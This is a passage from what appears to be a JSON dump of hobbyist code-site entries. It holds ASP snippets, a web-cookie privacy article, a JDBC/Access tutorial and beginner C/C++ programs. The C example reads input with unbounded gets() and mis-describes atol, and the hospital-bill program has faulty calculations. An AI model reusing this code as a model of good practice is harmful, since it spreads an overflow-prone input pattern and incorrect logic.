then\"&cr\n\tcodeout=codeout&\"response.redirect(\"&qt&\"wrtest.asp\"&qt&\")\"&cr\n\tcodeout=codeout&\"else %\"&\">\"&cr\n\tfsmyfile.Writeline(\"\"&codeout&cr&_\n\t\"<HTML>\"&cr&_\n\t\"<title>Write and Check Raw HTML For Speed</title>\"&cr&_\n\t\"<BODY>\"&cr&_\n\t\"Hello todays file is called \"&todayfile&cr&_\n\t\"</BODY>\"&cr&_\n\t\"</HTML>\"&cr&_\n\t\"<\"&\"%End if\"&cr&_\n\t\"%\"&\">\")\n\tfsmyfile.close\n\tfs.close\n\tResponse.Redirect(todayfile)\t'Send them to new file\nelse\n\tfsmyfile.close\n\tfs.Close\n\tResponse.Redirect(todayfile)\t'Send them to current file\nend if%>\t"},{"WorldId":1,"id":63043,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7237,"LineNumber":1,"line":"<%\nfunction TrimHTML(strHTML)\n\tdim iteration\n\titeration=0\n\tdo until instr(1,strHTML,\"<\")=0 and instr(1,strHTML,\">\")=0\n\t\tb=instr(1,strHTML,\"<\")\n\t\tif b>0 then\n\t\t\tc = instr(b+1,strHTML,\">\")\n\t\t\tif c>0 then\n\t\t\t\tretVal = mid(strHTML,b,c-(b-1))\n\t\t\t\tstrHTML=Replace(strHTML,retVal,\"\")\n\t\t\tend if\n\t\tend if\n\t\titeration = iteration + 1\n\t\tif iteration=1000 then exit do\n\tloop\n\tTrimHTML= strHTML\nEnd function\ndim str\nstr=\"952-917-0489\"\n%>\nOriginal text with html: <% =str %> \ntext with html removed: <% =TrimHTML(str) %>"},{"WorldId":3,"id":5368,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5048,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5248,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":1938,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":2063,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":2087,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":3349,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":936,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":163,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":8466,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7258,"LineNumber":1,"line":"Download the article in Zip Format......"},{"WorldId":4,"id":7257,"LineNumber":1,"line":"\n Who stole the cookies? \n Nakul Goyal\n \n INTERNET\n cookies are incredibly simple, but they are one of those things that\n have taken on a life of their own. Cookies started receiving\n tremendous media attention starting February 2000 because of the\n Internet privacy concerns. The debate still rages on.\n Cookies provide\n capabilities that make the Web much easier to navigate. The designers\n of almost every major site use them because they provide a better\n user-experience.\n What is a cookie\n Cookie is the message\n given to a Web browser by a Web server. The browser stores the message\n in a text file called cookie.txt. The message is then sent back to the\n server each time the browser requests a page from the server.\n When you enter a Web\n site using cookies, you may be asked to fill out a form providing such\n information as your name and interests. This information is packaged\n into a cookie and sent to your Web browser that stores it for later\n use. The next time you go to the same Web site, your browser will send\n the cookie to the Web server. The server can use this information to\n present you with custom Web pages. So, for example, instead of seeing\n just a generic welcome page you might see a welcome page with your\n name on it.The name cookie derives from Unix objects called magic cookies. These\n are tokens that are attached to a user or program and change depending\n on the areas entered by the user or program. Cookies are also sometimes\n called persistent cookies because they typically stay in the browser for\n long periods of time. If you use Microsoft's Internet Explorer to browse\n the Web, you can see all cookies that are stored on your machine. The\n most common place for them to reside is in a directory called c:\\\n windows\\ cookies. You can see in the directory that each of these files\n is a simple, normal text file. You can see which Web site placed the\n file on your machine by looking at the file name (the information is\n also stored inside the file). You can open each file up by clicking on\n it.\n For example, if you\n visit a site goto.com, the site places a cookie on machine. The cookie\n file for goto.com contains the following information:UserID\n A9A3BECE0563982D www.goto.com/\n What goto.com has done\n is that it stores a single name-value pair. The name of the pair is User\n ID, and the value is A9A3BECE0563982D. The first time a surfer visits\n goto.com, the site assigns a unique ID value and stores it on machine.\n (Note that there probably are several other values stored in the file\n after the three shown above. That is housekeeping information for the\n browser.)\n Amazon.com stores a bit\n more information on the machine. It stores a main user ID, an ID for\n each session, and the time the session starts on the machine (as well as\n an x-main value, which could be anything).\n Limitations\n Cookies certainly make\n a lot of things possible that would have been impossible otherwise. Here\n are several things that make cookies imperfect.\n 1. Any machine that is\n used in a public area and many machines used in an office environment or\n at home are shared by multiple persons. Let's say that you use a public\n machine to purchase something from an online store. The store will leave\n a cookie on the machine and someone could later try to purchase\n something from the store using your account. Stores usually post large\n warnings about this problem.\n 2. When you erase all\n temporary Internet files on your machine you lose all of your cookie\n files. This tends to skew the site's record of new versus return\n visitors and also can make it hard to recover previously stored\n preferences.\n 3. People often use\n more than one machine during the day. This would mean that there would\n be three unique cookie files on all machines. It can be annoying to set\n preferences time and again.\n Why the ruckus?\n Let's say that you\n purchase something from a traditional mail order catalogue. The\n catalogue company has the name, address and phone number from your order\n and also knows what items you purchased. It can sell this information to\n others who might want to sell similar products to you. That is the fuel\n that makes telemarketing and junk mail possible.\n Then there are certain\n infrastructure providers that can actually create cookies, which are\n visible on multiple sites. They can threaten to use it in the way they\n like. DoubleClick is the most famous example of this. Many companies use\n DoubleClick to serve ad banners on their sites. The portal can track\n movements across multiple sites. It can potentially see the search\n strings that you type into search engines (more due to the way some\n search engines implement their systems and not because anything sinister\n is intended). Because it can gather so much information about the user\n from multiple sites, DoubleClick can form very rich profiles. But these\n are anonymous.\n DoubleClick threatened to link these\n rich anonymous profiles back to name and address information,\n personalise them, and then sell the data. That began to look very much\n like spying to most persons and that is what caused the uproar.\n \n Nakul Goyal \n<a href=\"mailto:nakul@cwsteam.com\">nakul@cwsteam.com</a>"},{"WorldId":10,"id":324,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7615,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7497,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":7281,"LineNumber":1,"line":"#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\nint main()\n{\n char word[80];\n \n puts(\"\\nEnter an integer string: \");\n gets(word);\n \n /* atoi() : converts its argument, a series of numbers used \n * as a string, in to an integer value and returns it. The\n * statement after the conversion statement shows how unsigned\n * long i has been converted and can now be used.\n */ \n \n unsigned long i = atoi(word);\n \n printf(\"\\nThe string '%s' converted to integer is %u.\\n\", word, i);\n printf(\"The converted string squared is %u.\\n\", i * i);\n \n /* atol(): converts its string argument to a double value. The \n * statement following the conversion shows how it can be used.\n */ \n \n double f = atol(word);\n \n printf(\"\\nThe string '%s' converted to double is %.2f.\\n\", word, f);\n printf(\"The converted string divided by 3 is %.3f.\\n\\n\", f / 3);\n \n /* play and enjoy! */\n \n system(\"PAUSE\");\t\n return 0;\n}"},{"WorldId":1,"id":72841,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":72134,"LineNumber":1,"line":"Upload"},{"WorldId":7,"id":1548,"LineNumber":1,"line":"Upload"},{"WorldId":7,"id":1552,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4358,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":617,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":672,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7263,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":3387,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":83,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":2678,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":2691,"LineNumber":1,"line":" \nSorry if the formatting is a little screwed up on this - PlanetSourceCode seems to modify my HTML just a little when I upload it...it should still all be readable enough...\n \n\n<a href=\"#VOTE\">If you find this useful, please vote for me!</a>\n\n<center>\nHow to manipulate a Microsoft Access Database via JDBC \nand it's also A Super Quick Overview of JDBC Basics\n</center>\n\nThis will teach you how to connect to a Microsoft Access database. Once you are connected, you may run any SQL statement that is allowable on Access, such as:\n\n<ul>\n<li>a <code>SELECT</code> statement to retrieve data\n<li>an <code>INSERT</code> statement to add data\n<li>a <code>DELETE</code> statement to remove data\n<li>an <code>CREATE TABLE</code> statement to build a new table\n<li>a <code>DROP TABLE</code> statement to destroy a table\n</ul>\n\nThis document goes at a pretty slow pace, so you may not need to cover every little detail here. If you are entirely new to JDBC, you shouldn't have too much trouble following along. So let's get going!\n\n<a name=\"MY_TOP\"><h2>Steps to take:</h2></a>\n\nThere are three things we need to do to manipulate a MS Access database: 1) Set up Java to undestand ODBC, 2) Get a connection to our MS Access Database, 3) Run a SQL statement.\n\n1) First we need to set up Java to understand how to communicate with an ODBC data source \n<ul>\n<li><a href=\"#SECTION0\">Set up your DriverManager to understand ODBC data sources</a> \n</ul>\n<a name=\"NEXT\">2) After we set up the DriverManager, we need to get a Connection</a> \n There are two ways to get a connection from your Microsoft Access Database:\n<ol>\n<li><a href=\"#SECTION1\">Get a connection by accessing the Database Directly</a> \nThe simpler way, but may not work on all systems!\n<li><a href=\"#SECTION2\">Set the Access Database up as an ODBC DSN and get a connection through that</a> \nA little more complex, but will work on any system, and will work even if you don't already have a Microsoft Access Database!\n</ol>\n\n<a name=\"SQL\">3) Once you have gained access to the Database (been granted a connection), you are ready to try:</a> \n<ul>\n<li><a href=\"#SECTION_SQL\">Running a SQL Statement on your Access Database</a> \nThis is the section that you will be most interested in - if you're impatient, you might want to start here...but please come back and read it all!\n</ul>\n \nIn addition, please refer to the section at the end of this document:\n<ul>\n<li><a href=\"#SECTION_LAST\">What I assume you already know</a> \nPlus a little additional reading.\n</ul>\n<hr size=1 noshade>\n\n<table border=0 cellpadding=4 cellspacing=0 bgcolor=lightblue width=100%><tr><td>\n<a name=\"SECTION0\">Step 1) Set up your DriverManager to understand ODBC data sources</a>\n</td><td align=right valign=top><a href=\"#MY_TOP\">BACK TO TOP</a></td></tr></table>\nThe first thing we must do in order to manipulate data in the database is to be granted a connection to the database. This connection, referenced in the Java language as an Object of type <code>java.sql.Connection</code>, is handed out by the DriverManager. We tell the DriverManager what type of driver to use to handle the connections to databases, and from there, ask it to give us a connection to a particular database of that type.\nFor this tutorial, we are interested in accessing a Microsoft Access database. Microsoft has developed a data access method called ODBC, and MS Access databases understand this method. We cannot make a connection directly to an ODBC data source from Java, but Sun has provided a bridge from JDBC to ODBC. This bridge gives the DriverManager the understanding of how to communicate with an ODBC (ie a MS Access) data source.\n\nSo the first thing we'll do is set up our DriverManager and let it know that we want to communicate with ODBC data sources via the JDBC:ODBC bridge. We do this by calling the static <code>forName()</code> method of the Class class. Here is an entire program that accomplishes what we're after:\n<table border=1 cellpadding=4 cellspacing=0 bgcolor=#DDDDDD>\n<tr><td><pre><code>class Test\n{\n public static void main(String[] args)\n {\n try {\n Class.forName(\"sun.jdbc.odbc.JdbcOdbcDriver\");\n }\n catch (Exception e) {\n System.out.println(\"Error: \" + e);\n }\n }\n}</code></pre>//save this code into a file called Test.java and compile it</td></tr></table>\nNotice the TRY-CATCH block. The forName() method might throw a ClassNotFoundException. This really can't happen with the JDBC:ODBC bridge, since it's built in to the Java API, but we still have to catch it. If you compile and run this code, it's pretty boring. In fact, if it produces any output, then that means that you've encountered an error! But it shows how to get your DriverManager set.\n\nWe're now ready to try and <a href=\"#NEXT\">get a connection</a> to our specific database so we can start to run SQL statements on it!\n \n<table border=0 cellpadding=4 cellspacing=0 bgcolor=lightblue width=100%><tr><td>\n<a name=\"SECTION1\">Step 2 method 1) Get a connection by direct access</a>\n</td><td align=right valign=top><a href=\"#MY_TOP\">BACK TO TOP</a></td></tr></table>\nOne way to get a connection is to go directly after the MS Access database file. This can be a quick and easy way to do things, but I have seen this not work on some windows machines. Don't ask me why - I just know that it works sometimes and it doesn't others...\n\nHere is a complete sample program getting a connection to a MS Access database on my hard drive at D:\\java\\mdbTEST.mdb. This sample includes the lines required to set the DriverManager up for ODBC data sources:\n<table border=1 cellpadding=4 cellspacing=0 bgcolor=#DDDDDD>\n<tr><td><pre><code>import java.sql.*;\nclass Test\n{\n public static void main(String[] args)\n {\n try {\n Class.forName(\"sun.jdbc.odbc.JdbcOdbcDriver\");\n // set this to a MS Access DB you have on your machine\n String filename = \"d:/java/mdbTEST.mdb\";\n String database = \"jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=\";\n database+= filename.trim() + \";DriverID=22;READONLY=true}\"; // add on to the end \n // now we can get the connection from the DriverManager\n Connection con = DriverManager.getConnection( database ,\"\",\"\"); \n }\n catch (Exception e) {\n System.out.println(\"Error: \" + e);\n }\n }\n}</code></pre>//save this code into a file called Test.java and compile it</td></tr></table>\n\nNotice that this time I imported the java.sql package - this gives us usage of the <code>java.sql.Connection</code> object.\n\nThe line that we are interested in here is the line<pre><code> Connection con = DriverManager.getConnection( database ,\"\",\"\");</code></pre>\nWhat we are trying to do is get a Connection object (named con) to be built for us by the DriverManager. The variable database is the URL to the ODBC data source, and the two sets of empty quotes (\"\",\"\") indicate that we are not using a username or password.\n\nIn order to have this program run successfully, you have to have an MS Access database located at filename location. Edit this line of code and set it to a valid MS Access database on your machine. If you do not already have an MS Access database, please jump down to <a href=\"#SECTION2\">Set the Access Database up as an ODBC DSN</a> section, which shows how to create an empty MS Access database.\n\nIf you do have a MS Access database, and this is working correctly, then you're ready to <a href=\"#SECTION_SQL\">Run an SQL Statement</a>!\n\n<table border=0 cellpadding=4 cellspacing=0 bgcolor=lightblue width=100%><tr><td>\n<a name=\"SECTION2\">Step 2 method 2) Set up a DSN and get a connection through that</a>\n</td><td align=right valign=top><a href=\"#MY_TOP\">BACK TO TOP</a></td></tr></table>\nMicrosoft has provided a method to build a quick Jet-Engine database on your computer without the need for any specific database software (it comes standard with Windows). Using this method, we can even create a blank Microsoft Access database without having MS Access installed!\n\nAs we learned earlier, MS Access data bases can be connected to via ODBC. Instead of accessing the database directly, we can access it via a Data Source Name (DSN). Here's how to set up a DSN on your system:\n\n<ol>\n<li>Open Windows' ODBC Data Source Administrator as follows: \n <ul>\n <li>In Windows 95, 98, or NT, choose Start > Settings > Control Panel, then double-click the ODBC Data Sources icon. Depending on your system, the icon could also be called ODBC or 32bit ODBC. \n <li>In Windows 2000, choose Start > Settings > Control Panel > Administrative Tools > Data Sources. \n </ul>\n<li>In the ODBC Data Source Administrator dialog box, click the System DSN tab.\n<li>Click Add to add a new DSN to the list.\n<li>Scroll down and select the Microsoft Access (.MDB) driver\n<li>Type in the name \"mdbTEST\" (no quotes, but leave the cases the same) for the Data Source Name\n<li>Click CREATE and select a file to save the database to (I chose \"d:\\java\\mdbTEST.mdb\") - this creates a new blank MS Access database!\n<li>Click \"ok\" all the way out\n</ol>\nNow our data source is done! Here's a complete program showing how to access your new DSN data source:\n<table border=1 cellpadding=4 cellspacing=0 bgcolor=#DDDDDD>\n<tr><td><pre><code>import java.sql.*;\npublic class Test\n{\n public static void main(String[] args) \n {\n // change this to whatever your DSN is\n String dataSourceName = \"mdbTEST\";\n String dbURL = \"jdbc:odbc:\" + dataSourceName;\n try { \n Class.forName(\"sun.jdbc.odbc.JdbcOdbcDriver\");\n Connection con = DriverManager.getConnection(dbURL, \"\",\"\"); \n }\n catch (Exception err) {\n System.out.println( \"Error: \" + err );\n }\n }\n}</code></pre>//save this code into a file called Test.java and compile it</td></tr></table>\n\nAs stated in the code, modify the variable dataSourceName to whatever you named your DSN in step 5 from above.\n\nIf this complies and runs successfully, it should produce no output. If you get an error, something isn't set up right - give it another shot!\n\nOnce this is working correctly, then you're ready to <a href=\"#SECTION_SQL\">Run an SQL Statement</a>!\n\n<table border=0 cellpadding=4 cellspacing=0 bgcolor=lightblue width=100%><tr><td>\n<a name=\"SECTION_SQL\">Step 3) Running a SQL Statement on your Access Database</a>\n</td><td align=right valign=top><a href=\"#MY_TOP\">BACK TO TOP</a></td></tr></table>\nOnce you have your connection, you can manipulate data within the database. In order to run a SQL query, you need to do 2 things:\n<ol>\n<li>Create a Statement from the connection you have made\n<li>Get a ResultSet by executing a query (your insert/delete/etc. statement) on that statement\n</ol>\nNow lets learn how to make a statement, execute a query and display a the ResultSet from that query.\n\nRefer to the following complete program for an understanding of these concepts (details follow):\n\nThis code assumes that you have used the <a href=\"#SECTION2\">DSN method (Step 2 method 2)</a> to create a DSN named mdbTest. If you have not, you'll need to modify this code to work for a direct connection as explained in <a href=\"#SECTION1\">Step 2 method 1</a>.\n<table border=1 cellpadding=4 cellspacing=0 bgcolor=#DDDDDD>\n<tr><td><pre><code>import java.sql.*;\npublic class Test\n{\n public static void main(String[] args)\n {\n try {\n Class.forName(\"sun.jdbc.odbc.JdbcOdbcDriver\");\n /* the next 3 lines are Step 2 method 2 from above - you could use the direct\n access method (Step 2 method 1) istead if you wanted */\n String dataSourceName = \"mdbTEST\";\n String dbURL = \"jdbc:odbc:\" + dataSourceName;\n Connection con = DriverManager.getConnection(dbURL, \"\",\"\"); \n // try and create a java.sql.Statement so we can run queries\n Statement s = con.createStatement();\n s.execute(\"create table TEST12345 ( column_name integer )\"); // create a table\n s.execute(\"insert into TEST12345 values(1)\"); // insert some data into the table \n s.execute(\"select column_name from TEST12345\"); // select the data from the table\n ResultSet rs = s.getResultSet(); // get any ResultSet that came from our query\n if (rs != null) // if rs == null, then there is no ResultSet to view\n while ( rs.next() ) // this will step through our data row-by-row\n {\n /* the next line will get the first column in our current row's ResultSet \n as a String ( getString( columnNumber) ) and output it to the screen */ \n System.out.println(\"Data from column_name: \" + rs.getString(1) );\n }\n s.execute(\"drop table TEST12345\");\n s.close(); // close the Statement to let the database know we're done with it\n con.close(); // close the Connection to let the database know we're done with it\n }\n catch (Exception err) {\n System.out.println(\"ERROR: \" + err);\n }\n }\n}</code></pre>//save this code into a file called Test.java and compile it</td></tr></table>\n\nIf this program compiles and runs successfully, you should see some pretty boring output:\n<table border=0 cellpadding=0 cellspacing=0 bgcolor=black><tr><td>\n<code><pre>\n Data from column_name: 1 \n</pre></code>\n</td></tr></table>\n\nWhile that may not seem like much, let's take a quick look at what we've accomplished in the code.\n<ol>\n<li>First, we set the DriverManager to understand ODBC data sources.\n<code><pre>\n Class.forName(\"sun.jdbc.odbc.JdbcOdbcDriver\");\n</pre></code></li>\n<li>Then, we got a connection via the DSN as per <a href=\"#SECTION2\">Step 2 method 2</a>:\n<code><pre>\n String dataSourceName = \"mdbTEST\";\n String dbURL = \"jdbc:odbc:\" + dataSourceName;\n Connection con = DriverManager.getConnection(dbURL, \"\",\"\"); \n</pre></code>\nWe could have used the <a href=\"#SECTION1\">direct method</a> instead to get our connection.</li>\n<li>Next, we created a <code>java.sql.Statement</code> Object so we could run some queries:\n<code><pre>\n Statement s = con.createStatement();\n</pre></code></li>\n<li>Then came the exciting stuff - we ran some queries and made some changes!\n<code><pre>\n s.execute(\"create table TEST12345 ( column_name integer )\"); // create a table\n s.execute(\"insert into TEST12345 values(1)\"); // insert some data into the table\n s.execute(\"select column_name from TEST12345\"); // select the data from the table\n</pre></code></li>\n<li>The next part might be a little strange - when we ran our select query (see above), it produced a <code>java.sql.ResultSet</code>. A ResultSet is a Java object that contains the resulting data from the query that was run - in this case, all the data from the column column_name in the table TEST12345.\n<code><pre>\n ResultSet rs = s.getResultSet(); // get any ResultSet that came from our query\n if (rs != null) // if rs == null, then there is no ResultSet to view\n while ( rs.next() ) // this will step through our data row-by-row\n {\n /* the next line will get the first column in our current row's ResultSet \n as a String ( getString( columnNumber) ) and output it to the screen */ \n System.out.println(\"Data from column_name: \" + rs.getString(1) );\n }\n</pre></code></li>\nAs you can see, if the ResultSet object rs equals null, then we just skip by the entire while loop. But since we should have some data in there, we do this while ( rs.next() ) bit.\n\nWhat that means is: while there is still data to be had in this result set, loop through this block of code and do something with the current row in the result set, then move on to the next row.\n\nWhat we're doing is looping through the result set, and for every row grabbing the first column of data and printing it to the screen. We are using the method provided in the result set called <code>getString(int columnNumber)</code> to get the data from the first column in our result set as as String object, and then we're just printing it out via System.out.println.\n\nWe know that the data in our ResultSet is of type String, since we just built the table a couple of lines before. There are other <code>getXXX</code> methods provided by ResultSet, like getInt() and getFloat(), depending on what type of data you are trying to get out of the ResultSet. Please refer to the <a href=\"http://java.sun.com/j2se/1.3/docs/api/java/sql/ResultSet.html\" target=_new>JSDK API</a> for a full description of the ResultSet methods.</li>\n<li>After that we just cleaned up our database by dropping (completely removing) the newly created table:\n<code><pre>\n s.execute(\"drop table TEST12345\");\n</pre></code></li>\n<li>Lastly, we need to close the Statement and Connection objects. This tells the database that we are done using them and that the database can free those resources up for someone else to use. It is very important to close your connections - failure to do so can over time crash your database! While this isn't too important with a MS Access database, the same rules apply for any data base (like Oracle, MS SQL, etc.)\n<code><pre>\n s.close(); // close the Statement to let the database know we're done with it\n con.close(); // close the Connection to let the database know we're done with it\n</pre></code></li>\n</ol>\n\n<h3>That's it!! Now you know the basics for connecting to a MS Access Database via JDBC!</h3>\n \n<a href=\"#VOTE\">If you found this useful, please vote for me!</a>\n \n\n<table border=0 cellpadding=4 cellspacing=0 bgcolor=lightblue width=100%><tr><td>\n<a name=\"SECTION_LAST\">What I assume you already know</a>\n</td><td align=right valign=top><a href=\"#MY_TOP\">BACK TO TOP</a></td></tr></table>\nThis document assumes that you are working on a Windows machines since we'll be connecting to a Microsoft Access database.\n\nI assume you are familiar with database concepts. If you don't know anything about what a database is or what it is for, please take 5 minutes and read <a href=\"http://www.webopedia.com/TERM/d/database.html\" target=_blank>this description</a> from Webopedia.\n\nI do assume that you understand Java syntax to a degree, and that you are comfortable compiling and executing Java code. If not, please point your browser to the <a href=\"http://java.sun.com/docs/books/tutorial/\" target=_blank>Java Tutorials</a> provided by Sun Microsystems - they'll get you started.\n \n<a name=\"VOTE\">If you found this useful, please vote for me!</a>"},{"WorldId":2,"id":2688,"LineNumber":1,"line":"Upload"},{"WorldId":10,"id":79,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7876,"LineNumber":1,"line":"Upload"},{"WorldId":4,"id":7828,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4796,"LineNumber":1,"line":"/*\n Name: Robert Cleaver\n Date: 8 - 26 - 02\n Prog: Hospital Fee\n Desc: Calculates a Hospital Bill and Writes it to a File\n*/\n#include <iostream.h>\n#include <fstream.h>\n#include <iomanip.h>\n#include <conio.h>\n#include <lvp\\string.h>\n// Room Type Prices//\nconst float room_private = 125.00, room_semiprivate = 95.00,\n room_ward = 75.00;\n// Extra Prices //\nconst float extra_phone = 1.75, extra_tv = 3.50;\n// Public Patient Declarations //\nString patient_name, patient_phone, patient_tv, patient_room,\n patient_insurance, patient_another;\nfloat patient_drfee = 0.00, patient_subtotal = 0.00, patient_total = 0.00;\nofstream out_file;\nint patient_days;\n// Function Declarations //\nvoid GetName();\nvoid GetRoom();\nString GetRoomType();\nvoid GetPhone();\nvoid GetTV();\nvoid GetInsurance();\nString GetInsuranceType();\nfloat GetRoomCharge();\nfloat GetPhoneCharge();\nfloat GetTVCharge();\nfloat GetSubTotal();\nfloat GetInsCovers();\nvoid GetFee();\nvoid GetDays();\nvoid DoOut();\nvoid DoOver();\nvoid FlushVars();\nvoid GiveError();\nint main()\n{\n\tout_file.open(\"U:\\BILL.TXT\");\n\tGetName();\n\treturn 0;\n}\nvoid GetName()\n{\n\tclrscr();\n\tcout << \"Full Name: \";\n\tgetline(cin, patient_name);\n\tif (patient_name == \"\")\n\t{\n\t\tGiveError();\n\t\tGetName();\n\t}\n\telse\n\tGetRoom();\n}\nvoid GetRoom()\n{\n\tcout << \"\\n\\nRoom Types: \\n\";\n\tcout << \"(1) Private\\n(2) Semi-Private\\n(3) Ward\\n\"\n\t << \"Enter Your Room Type(1,2,3): \";\n\tcin >> patient_room;\n\tif (patient_room == \"1\")\n\t\tGetPhone();\n\telse if (patient_room == \"2\")\n\t\tGetPhone();\n\telse if (patient_room == \"3\")\n\t\tGetPhone();\n\telse\n\t{\n\t\tGiveError();\n\t\tGetRoom();\n\t}\n}\nvoid GetPhone()\n{\n\tcout << \"\\nPhone(y/n): \";\n\tcin >> patient_phone;\n\tif(patient_phone == \"y\")\n\t\tGetTV();\n\telse if (patient_phone == \"n\")\n\t\tGetTV();\n\telse\n\t{\n\t\tGiveError();\n\t\tGetPhone();\n\t}\n}\nfloat GetPhoneCharge()\n{\n\tif (patient_phone == \"y\")\n\t\treturn(extra_phone);\n\telse\n\t\treturn(0.00);\n}\nvoid GetTV()\n{\n\tcout << \"\\nTV(y/n): \";\n\tcin >> patient_tv;\n\tif (patient_tv == \"y\")\n\t\tGetInsurance();\n\telse if (patient_tv == \"n\")\n\t\tGetInsurance();\n\telse\n\t{\n\t\tGiveError();\n\t\tGetTV();\n\t}\n}\nfloat GetTVCharge()\n{\n\tif (patient_tv == \"y\")\n\t\treturn(extra_tv);\n\telse\n\t\treturn(0.00);\n}\nvoid GetInsurance()\n{\n\tcout << \"\\nInsurance Types:\\n\" << \"(0) No Insurance\\n\"\n\t << \"(1) HMO\\n(2) PPO\\nEnter Insurance Type(0,1,2): \";\n\tcin >> patient_insurance;\n\tif (patient_insurance == \"0\")\n\t\tGetDays();\n\telse if (patient_insurance == \"1\")\n\t\tGetDays();\n\telse if (patient_insurance == \"2\")\n\t\tGetDays();\n\telse\n\t{\n\t\tGiveError();\n\t\tGetInsurance();\n\t}\n}\nvoid GetFee()\n{\n\tcout << \"Doctor's Fee: \";\n\tcin >> patient_drfee;\n\tDoOut();\n}\nvoid GetDays()\n{\n\tcout << \"Days: \";\n\tcin >> patient_days;\n\tGetFee();\n}\nfloat GetSubtotal()\n{\n\tpatient_subtotal = GetRoomCharge() * patient_days;\n\tpatient_subtotal = patient_subtotal + (GetPhoneCharge() * patient_days);\n\tpatient_subtotal = patient_subtotal + (GetTVCharge() * patient_days);\n\tpatient_subtotal = patient_subtotal + (patient_drfee);\n\treturn(patient_subtotal);\n}\nfloat GetInsCovers()\n{\n\tif (patient_insurance == \"0\")\n\t\treturn(0.00);\n\telse if (patient_insurance == \"1\")\n\t\treturn(GetSubtotal() - 250.00);\n\telse if (patient_insurance == \"2\")\n\t\treturn((patient_subtotal / 100) * 20);\n}\nvoid DoOut()\n{\n\tclrscr();\n\tcout << setiosflags(ios::fixed | ios::showpoint | ios::right);\n\tcout << setprecision(2) << endl;\n\tout_file << setiosflags(ios::fixed | ios::showpoint | ios::right);\n\tout_file << setprecision(2) << endl;\n\t// Name for Screen I/O\n\tcout << \"Name:\"<< setw(24) << patient_name << endl;\n\t// Name for File I/O\n\tout_file << \"Name:\" << setw(24) << patient_name << endl;\n\t// Room for Screen I/O\n\tcout << \"Type Of Room:\" << setw(16) << GetRoomType() << endl;\n\t// Room for File I/O\n\tout_file << \"Type Of Room:\" << setw(16) << GetRoomType() << endl;\n\t// Days for Screen I/O\n\tcout << \"Number Of Days:\" << setw(14) << patient_days << endl;\n\t// Days for File I/O\n\tout_file << \"Number Of Days:\" << setw(14) << patient_days << endl;\n\t// Insurance for Screen I/O\n\tcout << \"Type Of Insurance:\" << setw(11) << GetInsuranceType() << endl;\n\t// Insurance for File I/O\n\tout_file << \"Type Of Insurance:\" << setw(11) << GetInsuranceType() << endl;\n\t// Blank Line\n\tcout << endl;\n\tout_file << endl;\n\t// Charges for Screen I/O\n\tcout << \"Charges:\" << endl;\n\tcout << setw(13) << \"Room\" << setw(16) << GetRoomCharge()*patient_days << endl;\n\tcout << setw(14) << \"Phone\" << setw(15) << GetPhoneCharge()*patient_days << endl;\n\tcout << setw(11) << \"TV\" << setw(18) << GetTVCharge()*patient_days << endl;\n\tcout << setw(16) << \"Dr. Fee\" << setw(13) << patient_drfee << endl;\n\t// Charges for file I/O\n\tout_file << \"Charges:\" << endl;\n\tout_file << setw(13) << \"Room\" << setw(16) << GetRoomCharge() << endl;\n\tout_file << setw(14) << \"Phone\" << setw(15) << GetPhoneCharge() << endl;\n\tout_file << setw(11) << \"TV\" << setw(18) << GetTVCharge() << endl;\n\tout_file << setw(16) << \"Dr. Fee\" << setw(13) << patient_drfee << endl;\n\t// SubTotal for Screen I/O\n\tcout << \"Subtotal\" << setw(21) << GetSubtotal() << endl;\n\t// SubTotal for file I/O\n\tout_file << \"Subtotal\" << setw(21) << GetSubtotal() << endl;\n\t// Insurance Pays for Screen I/O\n\tcout << \"Insurance Pays\" << setw(15) << GetInsCovers() << endl;\n\t// Insurance Pays for file I/O\n\tout_file << \"Insurance Pays\" << setw(15) << GetInsCovers() << endl;\n\t// Total Due for Screen I/O\n\tcout << \"Total Due\" << setw(20) << (GetSubtotal() - GetInsCovers()) << endl;\n\t// Total Due for file I/O\n\tout_file << \"Total Due\" << setw(20) << (GetSubtotal() - GetInsCovers()) << endl;\n\t// Finish for Screen I/O\n\tcout << \"\\n\\nPress any Key to Continue\" << endl;\n\t// Finsih for file I/O\n\tgetch();\n\tDoOver();\n}\nString GetRoomType()\n{\n\tif (patient_room == \"1\")\n\t\treturn(\"Private\");\n\telse if (patient_room == \"2\")\n\t\treturn(\"Semi-Private\");\n\telse if (patient_room == \"3\")\n\t\treturn(\"Ward\");\n}\nfloat GetRoomCharge()\n{\n\tif (patient_room == \"1\")\n\t\treturn(room_private);\n\telse if(patient_room == \"2\")\n\t\treturn(room_semiprivate);\n\telse if (patient_room == \"3\")\n\t\treturn(room_ward);\n}\nString GetInsuranceType()\n{\n\tif (patient_insurance == \"0\")\n\t\treturn(\"None\");\n\telse if (patient_insurance == \"1\")\n\t\treturn(\"HMO\");\n\telse if (patient_insurance == \"2\")\n\t\treturn(\"PPO\");\n}\nvoid DoOver()\n{\n\tclrscr();\n\tcout << \"Would you Like to Add Another Patient?(y/n): \";\n\tcin >> patient_another;\n\tif (patient_another == \"y\")\n\t{\n\t\tFlushVars();\n\t\tint i;\n\t\tout_file << endl;\n\t\ti = 15;\n\t\twhile (i < 